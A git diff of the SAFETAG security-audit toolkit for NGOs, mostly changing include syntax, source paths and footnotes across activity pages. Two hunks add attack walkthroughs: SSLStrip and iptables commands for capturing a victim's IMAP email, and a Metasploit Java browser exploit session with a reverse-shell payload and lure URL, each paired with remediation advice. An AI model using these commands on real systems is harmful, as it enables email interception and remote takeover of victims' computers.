diff --git a/content/toolkit/activities/assessment-plan.md b/content/toolkit/activities/assessment-plan.md index 1d5f569..c1396a8 100644 --- a/content/toolkit/activities/assessment-plan.md +++ b/content/toolkit/activities/assessment-plan.md @@ -3,7 +3,7 @@ id: assessment-plan name: Assessment Plan description: This component allows an auditor and host to come to an understanding of the level of access that an auditor will have,... origin: https://github.com/SAFETAG/SAFETAG -origin_path: master/en/exercises/assessment_plan/summary.md +origin_path: master/en/exercises/assessment_plan/reporting.md --- # Assessment Plan @@ -38,6 +38,8 @@ See the Appendix for a DRAFT combined engagement and confidentiality agreement. + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/automated-recon.md b/content/toolkit/activities/automated-recon.md index 519f4f6..bf5198d 100644 --- a/content/toolkit/activities/automated-recon.md +++ b/content/toolkit/activities/automated-recon.md @@ -24,6 +24,8 @@ See the Appendix for a full walk-through of using recon-ng + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/capacity-assessment-cheatsheet.md b/content/toolkit/activities/capacity-assessment-cheatsheet.md index dc8b3e2..88a6220 100644 --- a/content/toolkit/activities/capacity-assessment-cheatsheet.md +++ b/content/toolkit/activities/capacity-assessment-cheatsheet.md @@ -65,6 +65,8 @@ Preparation Support + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/check-config-files.md b/content/toolkit/activities/check-config-files.md index ec9912a..fe9ad94 100644 --- a/content/toolkit/activities/check-config-files.md +++ b/content/toolkit/activities/check-config-files.md @@ -17,6 +17,8 @@ Examine configuration files for vulnerabilities using "hardening", or "common m + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/check-mail-server-vulns.md b/content/toolkit/activities/check-mail-server-vulns.md index ff4e02c..3aca388 100644 --- a/content/toolkit/activities/check-mail-server-vulns.md +++ b/content/toolkit/activities/check-mail-server-vulns.md @@ -26,26 +26,36 @@ Even an informed staff member who attempts to configure his email client to requ ## Walkthrough -#### Walkthrough If the attacker wishes to observe the victim’s email traffic (most likely because they failed to capture an unencrypted password, which would have allowed them to log in as the victim and read their email directly), they may need to carry out a second, slightly more complex attack, which will also likely provide access to the victims password as well as the content of their email. To capture outgoing (SMTP) messages, the process is nearly identical to the traffic monitoring exercise. -!INCLUDE "../traffic_monitoring/instructions.md" +:[](../traffic_analysis/instructions.md) In order to monitor incoming (POP3 or IMAP) messages, the attacker must use other techniques to ensure that responses to the victim actually pass through their machine before they arrive at their intended recipient. The most straightforward tool for this sort of thing is designed to attack Web traffic, but the same techniques works on POP3 and IMAP traffic. (This tool, SSLStrip, was written to facilitate more advanced testing of Web services that do implement encryption, but that do so incorrectly. In any case, it works fine for our purposes here.) -``$ sslstrip -a -l 12345 -w sslstrip.log +``` +$ sslstrip -a -l 12345 -w sslstrip.log +``` The attacker then uses iptables to route a portion of the victim’s traffic (in this case, IMAP traffic destined for port 143) through the SSLStrip tool, which rewrites headers such that responses come to them first, before continuing along to the victim. The attacker then monitors the tool’s output for email messages: -``$ iptables -t nat -A PREROUTING -p tcp --destination-port 143 –j REDIRECT --to-port 12345 -``$ tail -f sslstrip.log +``` +$ iptables -t nat -A PREROUTING -p tcp --destination-port 143 –j REDIRECT --to-port 12345 +$ tail -f sslstrip.log +``` (For POP3, the attacker would use port 110 instead of port 143, but the attack is otherwise identical.) At this point, the contents of the sslstrip.log file contains a copy of incoming IMAP traffic, including any email messages the victim might read while being observed. This same technique, with minor modifications, would work to monitor incoming email messages downloaded through Webmail +## Recommendation + +Mandatory (SSL, TLS or HTTPS) encryption on all authenticated services (especially email). This should apply to both direct connections to the email server (e.g. via IMAP, MAPI, SMTP) as well as webmail services. + +Those who use Outlook, or some other email client, should only be allowed to connect to the organization’s mail server using SSL or TLS encryption. Attempts to connected without encryption should fail. All staff mail clients should be reconfigured accordingly. + + diff --git a/content/toolkit/activities/check-user-browser-vulns.md b/content/toolkit/activities/check-user-browser-vulns.md index c9f7efd..cc03e72 100644 --- a/content/toolkit/activities/check-user-browser-vulns.md +++ b/content/toolkit/activities/check-user-browser-vulns.md @@ -13,4 +13,80 @@ origin_path: master/en/exercises/check_user_browser_vulns/browser_java_plugin.md +## summary + +Outdated Java browser plugins + +One or more of the organization’s laptops were seen to be running an outdated, known-vulnerable version of the Java plugin for Internet Explorer. + + +## description + +This version contains a vulnerability that is easily exploitable using one of the recent Java exploit modules from the widely available Metasploit security auditing framework. These modules allow an attacker to gain complete control over the computer of a victim who visits a malicious Web site hosted anywhere on the Internet. If the attacker is inside the office LAN, they can easily trick the victim into visiting that malicious Web site without the victim even knowing it. + +## recommendation + +At least one of the organization’s computers is running an outdated Java browser plugin, and exploit code is widely-available for several critical vulnerabilities in versions older than “Java 7, update 16.” All of the organization’s Java installations should be updated to the latest version. This can be troublesome, as (unlike the Windows operating system itself) Java plugins sometimes require user input before they will install updates. + + +## exploit + +While the threat described below is more severe if carried out by a local attacker (as they can more readily direct the victim to a malicious Web site), it also works remotely. In fact, if a user can be tricked, by a remote attacker, into clicking on a malicious email or Web link, attacks like this represent a significant perimeter threat. By compromising the victim’s machine, they can give the attacker a local point-of-presence without requiring the attacker to crack WPA keys or gain local access in some other way. + +Step 1: Using Metasploit, an attacker can easily create an ad hoc malicious Web site: + +``` +$ msfconsole + +IIIIII dTb.dTb _.---._ + II 4' v 'B .'"".'/|\`.""'. + II 6. .P : .' / | \ `. : + II 'T;. .;P' '.' / | \ `.' + II 'T; ;P' `. / | \ .' +IIIIII 'YvP' `-.__|__.-' + +I love shells --egypt + + + =[ metasploit v4.7.0-dev [core:4.7 api:1.0] ++ -- --=[ 1114 exploits - 627 auxiliary - 178 post ++ -- --=[ 307 payloads - 30 encoders - 8 nops + +msf > use exploit/multi/browser/java_jre17_exec + +msf exploit(java_jre17_exec) > set PAYLOAD java/shell/reverse_tcp +PAYLOAD => java/shell/reverse_tcp + +msf exploit(java_jre17_exec) > set LHOST 192.168.1.123 +LHOST => 192.168.1.123 + +msf exploit(java_jre17_exec) > set SRVPORT 8081 +SRVPORT => 8081 + +msf exploit(java_jre17_exec) > set URIPATH java_test +URIPATH => java_test + +msf exploit(java_jre17_exec) > run +[*] Exploit running as background job. +``` + +Step 2: At this point, any local user who visits http://192.168.1.123:8081/java_test, and who is running a sufficiently out-of-date version of the Java browser plugin, stands a good chance of giving the attacker full access to his computer: + +``` +[*] Started reverse handler on 192.168.1.123:4444 + +msf exploit(java_jre17_exec) > + +[*] Using URL: http://0.0.0.0:8081/java_test +[*] Local IP: http://192.168.1.123:8081/java_test +[*] Server started. + +msf exploit(java_jre17_exec) > + + +``` + +Figure 1: Attacker in control of the victim’s computer through a remote command shell + + diff --git a/content/toolkit/activities/cms-version.md b/content/toolkit/activities/cms-version.md index a26a212..03d37b4 100644 --- a/content/toolkit/activities/cms-version.md +++ b/content/toolkit/activities/cms-version.md @@ -61,6 +61,8 @@ Some of these services will be revealed by BuiltWith, but checking the HTTP Resp Guide for NGOs about DDoS: [Digital First Aid Kit](https://rarenet.github.io/DFAK/en/DDoSMitigation/) + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/confidentiality-agreement.md b/content/toolkit/activities/confidentiality-agreement.md index 50f341a..a1a069a 100644 --- a/content/toolkit/activities/confidentiality-agreement.md +++ b/content/toolkit/activities/confidentiality-agreement.md @@ -3,7 +3,7 @@ id: confidentiality-agreement name: Confidentiality Agreement description: Negotiate an agreement with the organization that outlines how an auditor will protect the privacy of the organization... origin: https://github.com/SAFETAG/SAFETAG -origin_path: master/en/exercises/confidentiality_agreement/summary.md +origin_path: master/en/exercises/confidentiality_agreement/operational_security.md --- # Confidentiality Agreement @@ -20,6 +20,8 @@ See the Appendix for a DRAFT Engagement and Confidentiality Agreement. See also + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/data-lost-and-found.md b/content/toolkit/activities/data-lost-and-found.md index 840f255..e49a108 100644 --- a/content/toolkit/activities/data-lost-and-found.md +++ b/content/toolkit/activities/data-lost-and-found.md @@ -20,6 +20,8 @@ See the Sensitive Data activity for an interactive way to gather the types of da + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/day-in-the-life.md b/content/toolkit/activities/day-in-the-life.md index f3ebcdc..9f050df 100644 --- a/content/toolkit/activities/day-in-the-life.md +++ b/content/toolkit/activities/day-in-the-life.md @@ -53,6 +53,8 @@ As you work with staff members (this pairs well with the device checklist activi + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/device-checklist.md b/content/toolkit/activities/device-checklist.md index 93149cc..84c11ad 100644 --- a/content/toolkit/activities/device-checklist.md +++ b/content/toolkit/activities/device-checklist.md @@ -3,7 +3,7 @@ id: device-checklist name: Device and Software Version Assessment description: The auditor checks staff devices for updated systems and software, anti-virus and other security capabilities, and... origin: https://github.com/SAFETAG/SAFETAG -origin_path: master/en/exercises/device_checklist/recommendations.md +origin_path: master/en/exercises/device_checklist/summary.md --- # Device and Software Version Assessment @@ -65,6 +65,8 @@ Most AV tools automatically update, but this can sometimes get out of sync, or i ##### Activate a personal firewall + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/dns-zone-transfer.md b/content/toolkit/activities/dns-zone-transfer.md index 194eda4..da45ed8 100644 --- a/content/toolkit/activities/dns-zone-transfer.md +++ b/content/toolkit/activities/dns-zone-transfer.md @@ -66,6 +66,8 @@ In most cases, the DNS Zone Transfer policies will be set by your domain name pr If your organization maintains its own DNS servers, the administrator of those servers should check the zone transfer policies to prevent anonymous transfers. + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/firewire.md b/content/toolkit/activities/firewire.md index 10b0c83..adcbec9 100644 --- a/content/toolkit/activities/firewire.md +++ b/content/toolkit/activities/firewire.md @@ -80,6 +80,8 @@ Once again, it is worth noting that successful mitigation of this issue requires + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/follow-up-meeting.md b/content/toolkit/activities/follow-up-meeting.md index 80ead22..9c1b35d 100644 --- a/content/toolkit/activities/follow-up-meeting.md +++ b/content/toolkit/activities/follow-up-meeting.md @@ -33,6 +33,8 @@ At the end of the call, schedule a second follow-up call to check in on their pr + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/guided-tour.md b/content/toolkit/activities/guided-tour.md index 59a0e0d..5f9840e 100644 --- a/content/toolkit/activities/guided-tour.md +++ b/content/toolkit/activities/guided-tour.md @@ -58,6 +58,8 @@ _De-activate unused network ports_ Hard-wired network ports tend to connect directly into the most trusted parts of a network. De-activating any that are in public areas of the office (front desk, conference rooms, break rooms), as well as any that are not needed is recommended. + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/identify-recommendations.md b/content/toolkit/activities/identify-recommendations.md index a43077b..47f2148 100644 --- a/content/toolkit/activities/identify-recommendations.md +++ b/content/toolkit/activities/identify-recommendations.md @@ -14,6 +14,8 @@ origin_path: master/en/exercises/identify_recommendations/index.md + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/identify-useful-resources.md b/content/toolkit/activities/identify-useful-resources.md index 3b4e6e4..6db27f6 100644 --- a/content/toolkit/activities/identify-useful-resources.md +++ b/content/toolkit/activities/identify-useful-resources.md @@ -30,6 +30,8 @@ This can include, but is not limited to, local technical support and incident re + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/incident-response.md b/content/toolkit/activities/incident-response.md index 35fdc2c..0691a08 100644 --- a/content/toolkit/activities/incident-response.md +++ b/content/toolkit/activities/incident-response.md @@ -17,6 +17,8 @@ Establish a procedure for incident handling and an emergency contact in the even + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/insecure-website-login.md b/content/toolkit/activities/insecure-website-login.md index a9ef7e7..406d828 100644 --- a/content/toolkit/activities/insecure-website-login.md +++ b/content/toolkit/activities/insecure-website-login.md @@ -36,6 +36,8 @@ If an organization updates their website via FTP, it is worth noting that FTP is When switching to SSL/Secure FTP after having used the plain versions, webmasters should also update all administrative passwords, and watch to make sure that no step along the way (hosting provider management/panel, file upload, CMS editing) goes over “clear” channels. + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/interviews.md b/content/toolkit/activities/interviews.md index dd7ab39..f83659c 100644 --- a/content/toolkit/activities/interviews.md +++ b/content/toolkit/activities/interviews.md @@ -3,7 +3,7 @@ id: interviews name: Interviews description: The auditor conducts interviews with various staff members to gather information on the organizations risks and... origin: https://github.com/SAFETAG/SAFETAG -origin_path: master/en/exercises/interviews/summary.md +origin_path: master/en/exercises/interviews/operational_security.md --- # Interviews @@ -22,6 +22,8 @@ Q&A sessions are unabashedly _white box_ aspects of a security assessment, and y + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/long-term-follow-up.md b/content/toolkit/activities/long-term-follow-up.md index 006ecef..bf3b709 100644 --- a/content/toolkit/activities/long-term-follow-up.md +++ b/content/toolkit/activities/long-term-follow-up.md @@ -27,6 +27,8 @@ This can be combined with the Staff Feedback Survey exercise, or to follow up on + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/mac-filtering.md b/content/toolkit/activities/mac-filtering.md index 9d35385..0111f3b 100644 --- a/content/toolkit/activities/mac-filtering.md +++ b/content/toolkit/activities/mac-filtering.md @@ -43,6 +43,8 @@ ifconfig mon0 up Transitioning to WPA networks with strong passwords, even for guest networks, is recommended. + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/making-introductions.md b/content/toolkit/activities/making-introductions.md index e088321..b4d5ba0 100644 --- a/content/toolkit/activities/making-introductions.md +++ b/content/toolkit/activities/making-introductions.md @@ -26,6 +26,8 @@ Follow up with both the organization and the resources introduced to check in on + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/manual-recon.md b/content/toolkit/activities/manual-recon.md index ec62632..099348e 100644 --- a/content/toolkit/activities/manual-recon.md +++ b/content/toolkit/activities/manual-recon.md @@ -53,6 +53,8 @@ Google dorking tricks: + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/monitor-open-wireless-traffic.md b/content/toolkit/activities/monitor-open-wireless-traffic.md index 9e0c27e..0a1107d 100644 --- a/content/toolkit/activities/monitor-open-wireless-traffic.md +++ b/content/toolkit/activities/monitor-open-wireless-traffic.md @@ -119,6 +119,8 @@ See [wikipedia]( https://en.wikipedia.org/wiki/Wi-Fi_positioning_system#Public_W * Skyhook: http://www.skyhookwireless.com/opt-out-of-skyhook-products + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/mx-record-search.md b/content/toolkit/activities/mx-record-search.md index 3b8bbaa..1714f11 100644 --- a/content/toolkit/activities/mx-record-search.md +++ b/content/toolkit/activities/mx-record-search.md @@ -3,7 +3,7 @@ id: mx-record-search name: Mail Exchange Record Search description: MX, or Mail Exchange, records are required to be public for any domain you wish to receive email through. These records... origin: https://github.com/SAFETAG/SAFETAG -origin_path: master/en/exercises/mx-record-search/summary.md +origin_path: master/en/exercises/mx-record-search/recommendations.md --- # Mail Exchange Record Search @@ -45,6 +45,8 @@ No fix needed Unless other assessments reveals specific vulnerabilities in e-mail services used, there is no action to take. Unless you have sufficient in-house expertise, it is often recommended to not host email servers. While self-hosted email provides more control and potentially security, managing the security of the server is a complex job. Other mail services, such as MailControl or Postini, also can provide some level of protection by being a first-pass check for spam and viruses, and (slightly) reducing the visibility of your organizational mail server. + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/network-scanning.md b/content/toolkit/activities/network-scanning.md index 60b9b84..f523812 100644 --- a/content/toolkit/activities/network-scanning.md +++ b/content/toolkit/activities/network-scanning.md @@ -53,6 +53,8 @@ While office networks are often treated as "trusted" spaces, measures should be A policy should be in place for connecting personal devices to work networks, as well as work devices to non-work networks. + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/office-mapping.md b/content/toolkit/activities/office-mapping.md index 9d294d2..bf0a650 100644 --- a/content/toolkit/activities/office-mapping.md +++ b/content/toolkit/activities/office-mapping.md @@ -79,6 +79,8 @@ If doing this activity remotely and/or in advance of an audit, it may be useful See recommendation section in the Guided Tour activity. + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/password-security.md b/content/toolkit/activities/password-security.md index 55bd646..e685471 100644 --- a/content/toolkit/activities/password-security.md +++ b/content/toolkit/activities/password-security.md @@ -231,6 +231,8 @@ This website has a good explanation about how improving the complexity of a pass + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/physical-security-survey.md b/content/toolkit/activities/physical-security-survey.md index 1682f08..12d343d 100644 --- a/content/toolkit/activities/physical-security-survey.md +++ b/content/toolkit/activities/physical-security-survey.md @@ -141,6 +141,8 @@ See recommendation section in the Guided Tour activity. For useful organizational policy recommendations, review the SANS [Information Security Policy Templates](https://www.sans.org/security-resources/policies) + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/pre-mortum-risk-assessment-activity.md b/content/toolkit/activities/pre-mortum-risk-assessment-activity.md index ed0fea8..8eba2d6 100644 --- a/content/toolkit/activities/pre-mortum-risk-assessment-activity.md +++ b/content/toolkit/activities/pre-mortum-risk-assessment-activity.md @@ -27,13 +27,15 @@ The pre-mortum strategy was devised to take participants out of a perspective of ## Walkthrough -!INCLUDE "pre-mortum_sample_process.md" +:[](pre-mortum_sample_process.md) ## Recommendation This activity can lead to feelings of hopelessness as well as stir up direct fears or challenges that the staff face. It is important to remind the staff that any risk can be mitigated, and indeed it is the goal of an audit to identify the highest priority ones based on actual likelihood and provide guidance on mitigation. + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/private-data.md b/content/toolkit/activities/private-data.md index 821b7ad..e303bf3 100644 --- a/content/toolkit/activities/private-data.md +++ b/content/toolkit/activities/private-data.md @@ -16,7 +16,7 @@ Guide staff through an activity to have them list private data within the organi ## Walkthrough -!INCLUDE "personal_info_to_keep_private.md" +:[](personal_info_to_keep_private.md) ## Recommendation @@ -25,6 +25,8 @@ For the internal audit report back to the organization, much of the information Please refer to the Analysis and Reporting section for the limited data set that is required for project reporting, and to the Operational Security section for guidance on data security. + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/process-mapping-activity.md b/content/toolkit/activities/process-mapping-activity.md index 06104bf..d235e93 100644 --- a/content/toolkit/activities/process-mapping-activity.md +++ b/content/toolkit/activities/process-mapping-activity.md @@ -3,7 +3,7 @@ id: process-mapping-activity name: Process Mapping description: This activity helps to identify the processes that allow the organization to function (publishing, payment,... origin: https://github.com/SAFETAG/SAFETAG -origin_path: master/en/exercises/process_mapping_activity/summary.md +origin_path: master/en/exercises/process_mapping_activity/recommendations.md --- # Process Mapping @@ -29,13 +29,15 @@ Participants are asked to "brain-storm" a list of all the processes that are cri ## Walkthrough -!INCLUDE "process_activity.md" +:[](process_activity.md) ## Recommendation This activity can lead to feelings of hopelessness; it is important to remind the staff that any risk can be mitigated, and indeed it is the goal of an audit to identify the highest priority ones based on actual likelihood and provide guidance on mitigation. + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/regional-context-research.md b/content/toolkit/activities/regional-context-research.md index e530409..b96ad7c 100644 --- a/content/toolkit/activities/regional-context-research.md +++ b/content/toolkit/activities/regional-context-research.md @@ -42,6 +42,8 @@ Explore the security landscape of hardware and software identified in interviews + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/remote-facilitation.md b/content/toolkit/activities/remote-facilitation.md index ba9ba58..355af23 100644 --- a/content/toolkit/activities/remote-facilitation.md +++ b/content/toolkit/activities/remote-facilitation.md @@ -104,6 +104,8 @@ Suitable for medium to large groups where it is possible to conduct multiple sma + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/remote-network-device-assessment.md b/content/toolkit/activities/remote-network-device-assessment.md index f1abadc..f295279 100644 --- a/content/toolkit/activities/remote-network-device-assessment.md +++ b/content/toolkit/activities/remote-network-device-assessment.md @@ -187,6 +187,8 @@ After finishing the installation and testing it, the auditor will pass the .ovpn + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/risk-matrix.md b/content/toolkit/activities/risk-matrix.md index 038ca12..16d811e 100644 --- a/content/toolkit/activities/risk-matrix.md +++ b/content/toolkit/activities/risk-matrix.md @@ -32,6 +32,8 @@ After the activities are complete the auditor has tasks that build upon the outp + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/router-attacks.md b/content/toolkit/activities/router-attacks.md index 201c838..0ba1177 100644 --- a/content/toolkit/activities/router-attacks.md +++ b/content/toolkit/activities/router-attacks.md @@ -31,6 +31,8 @@ While nominally "inside the firewall" and protected from remote attacks, leaving A common fear is forgetting the new router password. A password management system is an obvious solution, but if the router is in a secure location, even a stickie note would be better than the default password. + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/scavenger-hunt.md b/content/toolkit/activities/scavenger-hunt.md index b4ec878..a437f49 100644 --- a/content/toolkit/activities/scavenger-hunt.md +++ b/content/toolkit/activities/scavenger-hunt.md @@ -70,6 +70,8 @@ At the organization, the facilitator explains the activity to the organization m (See "Guided Tour") + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/sensitive-data.md b/content/toolkit/activities/sensitive-data.md index 006d104..41cbf7c 100644 --- a/content/toolkit/activities/sensitive-data.md +++ b/content/toolkit/activities/sensitive-data.md @@ -27,7 +27,9 @@ This is natural, but it is important to keep track of where your organization's ## Walkthrough -!INCLUDE "sensitive_data_activity.md" +:[](sensitive_data_activity.md) + + diff --git a/content/toolkit/activities/social-engineering.md b/content/toolkit/activities/social-engineering.md index 70f6bcb..38f2309 100644 --- a/content/toolkit/activities/social-engineering.md +++ b/content/toolkit/activities/social-engineering.md @@ -20,6 +20,8 @@ This component allows the auditor to gauge staff awareness of social engineering + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/staff-feedback-survey.md b/content/toolkit/activities/staff-feedback-survey.md index 89d2a0e..bc967ef 100644 --- a/content/toolkit/activities/staff-feedback-survey.md +++ b/content/toolkit/activities/staff-feedback-survey.md @@ -27,7 +27,9 @@ This exercise provides a simple survey you can implement in a variety of setting #### Sample Survey Questions -!INCLUDE "survey.md" +:[](survey.md) + + diff --git a/content/toolkit/activities/technical-context-research.md b/content/toolkit/activities/technical-context-research.md index 0eaa1f1..454884d 100644 --- a/content/toolkit/activities/technical-context-research.md +++ b/content/toolkit/activities/technical-context-research.md @@ -14,6 +14,8 @@ origin_path: master/en/exercises/technical_context_research/index.md + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/threat-identification.md b/content/toolkit/activities/threat-identification.md index 0c5b90e..62195e5 100644 --- a/content/toolkit/activities/threat-identification.md +++ b/content/toolkit/activities/threat-identification.md @@ -129,6 +129,8 @@ physical injury, temporary or longer-term psychological damage, death, legal cos + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/threat-interaction.md b/content/toolkit/activities/threat-interaction.md index 23045d4..258002d 100644 --- a/content/toolkit/activities/threat-interaction.md +++ b/content/toolkit/activities/threat-interaction.md @@ -61,6 +61,8 @@ Close out this with a discussion of how every threat is potentially connected to + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/traffic-analysis.md b/content/toolkit/activities/traffic-analysis.md index 991bf4c..4674f71 100644 --- a/content/toolkit/activities/traffic-analysis.md +++ b/content/toolkit/activities/traffic-analysis.md @@ -68,6 +68,8 @@ EtterCap provides a powerful frontend to managing this process with multiple pot Only use services with ["SSL" encryption](https://securityinabox.org/en/guide/secure-communication) ("HTTPS"), and consider adding [HTTPS Everywhere](https://www.eff.org/https-everywhere) to browsers. This does not itself guarantee protection from all attacks, but it is a good first-step in protecting information (such as passwords or email) in transit from your computer to the service provider. + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/travel-kit.md b/content/toolkit/activities/travel-kit.md index 5571811..d81ec93 100644 --- a/content/toolkit/activities/travel-kit.md +++ b/content/toolkit/activities/travel-kit.md @@ -14,6 +14,8 @@ origin_path: master/en/exercises/travel_kit/index.md + + [^external_funding_and_reporting]:Usually when working with an external funder an engagement report, free of sensitive data about the host organization, will be created for submission the funder. The contents of this report should be clearly outlined and agreed to during the assessment plan stage. diff --git a/content/toolkit/activities/un-addressed-concerns.md b/content/toolkit/activities/un-addressed-concerns.md index 72dc918..f9df87a 100644 --- a/content/toolkit/activities/un-addressed-concerns.md +++ 